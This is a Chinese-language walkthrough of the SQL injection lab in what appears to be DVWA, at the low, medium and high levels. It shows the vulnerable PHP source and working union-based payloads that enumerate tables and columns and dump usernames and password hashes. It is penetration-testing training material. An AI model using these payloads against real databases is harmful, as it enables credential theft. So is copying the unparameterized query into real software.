SQL 注入
low
在输入框中输入数字可以查询出对应 id 的用户
当在数字后面输入 '
如 2'
时出现数据库报错语法错误,存在 SQL 注入
查看源代码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
接收用户输入框传入的参数,赋值给变量 $id
,执行数据库查询语句
无任何过滤,可直接注入
SELECT first_name, last_name FROM users WHERE user_id = '$id';
当输入 2'
时,变量 $id
的值为 2'
,此时数据库查询语句为
SELECT first_name, last_name FROM users WHERE user_id = '2'';
引号数量不匹配,数据库报错
可以提交 2' #
注释掉后面的内容,则不报错
SELECT first_name, last_name FROM users WHERE user_id = '2' #';
使用联合查询
判断列数使用 order by
查询结果根据第一行排列
1' group by 1 #
查询结果根据第二行排列
1' group by 2 #
当根据第三行排列时,报错,说明只有两列
判断显示位置
1' union select 1,2 #
查询当前数据库
' union select 1,database() #
查看当前数据库中的表
' union select count(*),group_concat(0x5e,table_name,0x5e) from information_schema.tables where table_schema=database() #
count(*)
统计表的数量
group_concat(0x5e,table_name,0x5e)
在输出表名两边连接^
符号,便于辨认表名
information_schema.tables
为元数据库中的 tables 表,包含所有数据库中所有的表名使用过滤条件
where table_schema=database()
来过滤查询当前数据库中的表
查询字段
' union select count(*),group_concat(0x5e,column_name,0x5e) from information_schema.columns where table_schema=database() and table_name='users' #
元数据库中的
information_schema.columns
表存放所有数据库中的所有字段
where table_schema=database() and table_name='users'
表示查询当前数据库下的 users 表中的所有字段
查询所有用户和密码
' union select count(*),group_concat(0x5e,user,0x2b,password,0x5e) from users #
medium
传输 id 的方式改为下拉框,不允许用户输入,并且 URL 中无参数,没有使用 GET 传参
BurpSuite 抓包,发现为 POST 传参
修改传入的参数
修改参数为
id=1 union select count(*),group_concat(0x5e,user,0x2b,password,0x5e) from users &Submit=Submit
成功查询用户名密码
high
high 级别的 SQL 注入点击“Click here to change your ID”后,弹出输入框
验证 SQL 注入报错 something wrong
输入 1 and 1=2 #
数据库能正常查询
输入 1' and 1=2 #
无法查询
字符型注入
获取账密
1' union select count(*),group_concat(0x5e,user,0x2b,password,0x5e) from users #